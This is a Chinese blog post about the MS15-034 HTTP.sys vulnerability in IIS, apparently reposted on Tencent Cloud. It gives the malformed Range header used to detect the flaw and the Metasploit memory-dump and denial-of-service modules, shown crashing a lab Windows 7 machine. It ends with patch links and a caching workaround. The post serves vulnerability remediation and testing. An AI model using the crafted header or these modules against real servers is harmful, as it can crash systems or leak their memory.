前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >HTTP.sys远程代码执行漏洞修复

HTTP.sys远程代码执行漏洞修复

作者头像
全栈程序员站长
发布于 2022-09-09 03:31:09
发布于 2022-09-09 03:31:09
1.7K0
举报

大家好,又见面了,我是你们的朋友全栈君。

1.漏洞描述

Http.sys是Microsoft Windows处理HTTP请求的内核驱动程序。HTTP.sys会错误解析某些特殊构造的HTTP请求,导致远程代码执行漏洞。成功利用此漏洞后,攻击者可在System帐户上下文中执行任意代码。由于此漏洞存在于内核驱动程序中,攻击者也可以远程导致操作系统蓝屏。此次受影响的系统中,Windows7、Windows8、WindowsServer 2008 R2和WindowsServer 2012所带的HTTP.sys驱动均存在一个远程代码执行漏洞,远程攻击者可以通过IIS7(或更高版本)服务将恶意的HTTP请求传递给HTTP.sys驱动,通过发送恶意的HTTP请求导致远程代码执行或操作系统蓝屏。

2.复现环境

win7+IIS7

3.漏洞确认

访问IIS界面,使用burpsuite抓包,发送到repeater中,在HTTP请求头中加入如下字段 Range: bytes=18-18446744073709551615 ,返回416状态码

4.漏洞利用

使用kali的metasploit msconsole search ms15-034

验证漏洞的方法 use auxiliary/scanner/http/ms15_034_http_sys_memory_dump set rhosts 192.168.1.200 run

利用漏洞的方法 use auxiliary/dos/http/ms15_034_ulonglongadd set rhosts 192.168.1.200 set threads 10 run

实验电脑已经蓝屏

5.漏洞修复

方法1:微软官方网站下载ms15-034的补丁包 下载地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034 代表性补丁: Windows Server 2008 R2(KB3042553):https://www.microsoft.com/zh-cn/download/details.aspx?id=46480 Windows Server 2012(KB3042553):https://www.microsoft.com/zh-cn/download/details.aspx?id=46481 Windows Server 2012 R2(KB3042553):https://www.microsoft.com/zh-cn/download/details.aspx?id=46500

方法2:网上的其他方法验证 IIS-功能视图-输出缓存-操作-编辑功能设置-启用内核缓存,取消勾选。 注意: 在网站-default web site下的输出缓存,不是根目录下的输出缓存; 修改后,漏洞验证仍显示存在,但漏洞利用已不再蓝屏;

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/161443.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
linux恢复硬盘初始状态,初始化Linux数据盘(fdisk)[通俗易懂]
初始化Linux数据盘(fdisk)TkV南京数据恢复-西数科技: 硬盘/手机/SSD数据恢复专家. 025-83608636 18913825606
全栈程序员站长
2022/09/02
6.2K0
linux下MBR方式分区非主分区扩容文件系统
示例: 分区为主分区 vdb2 时,使用脚本扩容直接报错了,提示非主分区(其实这里还是主分区,只不过不是第一个分区)
大大大黑白格子
2020/06/10
4.2K0
linux磁盘挂载及设置开机自动挂载
在默认拥有的云服务器是没有额外的数据盘的,默认Linux只有系统盘,一般的网站也足够使用,如果额外购买的数据盘安装系统之后根据不同的面板、系统的路径问题可能不会自动加载到指定的数据盘目录,需要我们手工进行加载数据盘 ,也就是我们常说的挂载。下面开始教程。
用户1040278
2022/10/21
17.7K0
一次政务云生产环境的磁盘热扩容过程
我们有个项目部署在政务云上,有一个服务器400GB的数据盘最近经常空间爆满,虽然增加了定时清理缓存的crontab脚本,但是随着空间使用的增长,问题并没有解决。
明月AI
2023/08/26
3190
一次政务云生产环境的磁盘热扩容过程
云服务器存储扩容详解
Linux操作系统:CentOS Linux release 7.6.1810 (Core)
HappyLau谈云计算
2020/01/14
31.5K2
云服务器存储扩容详解
Linux磁盘分区详解
此时,student用户就只有2M的磁盘配额空间,也就是不能放入超过2M的文件,否则就会报错。
全栈程序员站长
2022/08/31
5.9K0
如何优雅扩容云硬盘(附视频)
放心,在腾讯云的服务器上,不论是加块硬盘还是扩容已有硬盘的大小,都是轻松又简单的。
溪歪歪
2020/12/04
6.6K18
如何优雅扩容云硬盘(附视频)
liunx磁盘扩容
磁盘分区其实就像柜子打格子一样,打成不同的格子放不同的衣服,裤子,帽子,领带等, 磁盘可以分成多个物理分区,放不同的数据。
丁D
2022/08/12
1.9K0
liunx磁盘扩容
Linux下GPT分区扩容
GPT分区不能使用gropwpart进行扩容分区,需要删除源有GPT分区,再次新建分区 1、查看当前分区状态 #查看分区是否是GPT [root@master ~]# fdisk -lu Disk /dev/vda: 64.4 GB, 64424509440 bytes, 125829120 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O siz
用户6792968
2022/08/30
5K0
Linux 格式化和挂载数据盘 转
本文描述如何用一个新的数据盘创建一个单分区数据盘并挂载文件系统。本文仅适用于使用 fdisk 命令对一个不大于 2 TB 的数据盘执行分区操作。如果需要分区的数据盘大于 2 TB,请参考 32TB 块存储分区。
wuweixiang
2018/08/14
3.8K0
Centos7笔记 | 硬盘、Parted 分区、mount命令、Swap分区的扩展、、文件系统详解、
硬盘设备是由大量的扇区组成,每个扇区容量512字节,第一扇区最为重要,保存主引导记录和分区表信息。分别是主引导记录占用446,分区表占用64字节,结束符2字节,其中分区表中每记录一个信息占用16字节,最多只有四个分区,为了解决分区数不够,衍生出扩展分区。扩展分区可以用来创建逻辑分区,逻辑分区最多128个。
网络技术联盟站
2019/08/21
4.7K0
Centos7笔记 | 硬盘、Parted 分区、mount命令、Swap分区的扩展、、文件系统详解、
腾讯云服务器CentOS7.8系统分区缩容
问题背景:有的用户在使用服务器过程中,没有规划好服务器的磁盘使用,到后期,想从已有的磁盘中压缩出一块空间创建新的分区,挂载到其他业务使用,本文针对这种场景,输出下具体的操作方案,仅供参考;
夏日萤火
2022/08/26
5.3K1
linux基础命令介绍十二:磁盘与文件系统
本篇讲述磁盘管理相关的命令。计算机中需要持久化存储的数据一般是保存在硬盘等辅助存储器中。硬盘一般容量较大,为了便于管理和使用,可以将硬盘分成一到多个逻辑磁盘,称为分区;为使分区中的文件组织成操作系统能够处理的形式,需要对分区进行格式化(创建文件系统);在linux中,对于格式化后的分区,还必须经过挂载(可简单理解为将分区关联至linux目录树中某个已知目录)之后才能使用。
用户5030870
2019/04/11
5K0
linux基础命令介绍十二:磁盘与文件系统
Linux下数据无损动态修改MBR分区表格式为GPT
腾讯云官网中有一篇帮助文档“扩容Linux文件系统,https://www.qcloud.com/document/product/362/6738,讲解了GPT分区云硬盘扩容后修改分区指引和MBR分区云硬盘扩容后修改分区指引。其中MBR分区扩容下,若扩容后的空间已经大于2TB则不可选择。官网文档没有涉及到MBR的分区扩展到2T以上该怎么处理。
用户1188303
2018/08/02
11.4K0
Linux下数据无损动态修改MBR分区表格式为GPT
浅谈Linux磁盘修复e2fsck命令
检查 /dev/mapper/VolGroup00-LogVol02 是否有问题,如发现问题便自动修复:
竹清
2018/12/18
6.5K0
msdos分区是什么_msdos_partition
本例要求熟悉硬盘分区结构,使用fdisk分区工具在磁盘 /dev/vdb 上按以下要求建立分区:
全栈程序员站长
2022/09/22
1.4K0
Linux下使用fdisk扩展分区容量
硬盘空间为20G,使用vSphere Client增加磁盘大小,需要再增加10G空间;
用户5005176
2021/08/08
6.6K0
LVM创建实例及相关注释
LVM创建 pv—>vg—->lv—->快照 创建前准备了四块1g硬盘分别为:sdb sdc sdd sde,并分别给四块盘划分了1G的空间,并指定了分区系统类型为8e(即Linux LVM) [root@localhost ~]# fdisk /dev/sdb Command (m for help): n Command action e extended p primary partition (1-4) p Partition number (1-4): 1 First cylinder (1-13
小小科
2018/05/03
7410
Linux—磁盘管理
简单来说就是多个盘片之间靠主轴连接,电机带动主轴做旋转运动,通过多个磁头臂的摇摆和磁盘的旋转,磁头就可以在磁盘旋转的过程中就读取到磁盘中存储的各种数据。
Alone-林
2022/09/23
6.4K0
Linux—磁盘管理
创建LV磁盘并扩容
基本的逻辑卷管理概念: PV(Physical Volume)- 物理卷 物理卷在逻辑卷管理中处于最底层,它可以是实际物理硬盘上的分区,也可以是整个物理硬盘,也可以是raid设备。 VG(Volumne Group)- 卷组 卷组建立在物理卷之上,一个卷组中至少要包括一个物理卷,在卷组建立之后可动态添加物理卷到卷组中。一个逻辑卷管理系统工程中可以只有一个卷组,也可以拥有多个卷组。 LV(Logical Volume)- 逻辑卷 逻辑卷建立在卷组之上,卷组中的未分配空间可以用于建立新的逻辑卷,逻辑卷建立后可以动态地扩展和缩小空间。系统中的多个逻辑卷可以属于同一个卷组,也可以属于不同的多个卷组。
jwangkun
2021/12/23
4.1K0
创建LV磁盘并扩容
相关推荐
linux恢复硬盘初始状态,初始化Linux数据盘(fdisk)[通俗易懂]
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档